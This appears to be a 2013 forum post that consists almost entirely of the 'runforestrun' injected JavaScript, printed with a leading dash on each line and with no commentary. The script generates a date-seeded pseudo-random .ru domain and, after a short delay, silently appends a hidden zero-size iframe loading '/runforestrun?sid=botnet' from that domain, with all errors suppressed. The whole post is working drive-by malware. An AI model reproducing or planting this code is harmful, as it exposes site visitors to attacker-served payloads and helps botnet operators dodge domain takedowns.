- function nextRandomNumber(){
- var hi = this .seed / this .Q;
- var lo = this .seed % this .Q;
- var test = this .A * lo - this .R * hi;
- if (test > 0){
- this .seed = test;
- }
- else {
- this .seed = test + this .M;
- }
- return (this .seed * this .oneOverM);
- }
- function RandomNumberGenerator(unix){
- var d = new Date(unix * 1000);
- var s = d.getHours() > 12 ? 1 : 0;
- this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.
- round(s * 0xFFF));
- this .A = 48271;
- this .M = 2147483647;
- this .Q = this .M / this .A;
- this .R = this .M % this .A;
- this .oneOverM = 1.0 / this .M;
- this .next = nextRandomNumber;
- return this ;
- }
- function createRandomNumber(r, Min, Max){
- return Math.round((Max - Min) * r.next() + Min);
- }
- function generatePseudoRandomString(unix, length, zone){
- var rand = new RandomNumberGenerator(unix);
- var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o'
- , 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
- var str = '';
- for (var i = 0; i < length; i ++ ){
- str += letters[createRandomNumber(rand, 0, letters.length - 1)];
- }
- return str + '.' + zone;
- }
- setTimeout(function (){
- try {
- if (typeof iframeWasCreated == "undefined"){
- iframeWasCreated = true;
- var unix = Math.round( + new Date() / 1000);
- var domainName = generatePseudoRandomString(unix, 16, 'ru');
- ifrm = document.createElement("IFRAME");
- ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet");
- ifrm.style.width = "0px";
- ifrm.style.height = "0px";
- ifrm.style.visibility = "hidden";
- document.body.appendChild(ifrm);
- }
- }
- catch (e){
- }
- }
- , 500);
|
发表于 2013-5-12 10:37:21
楼主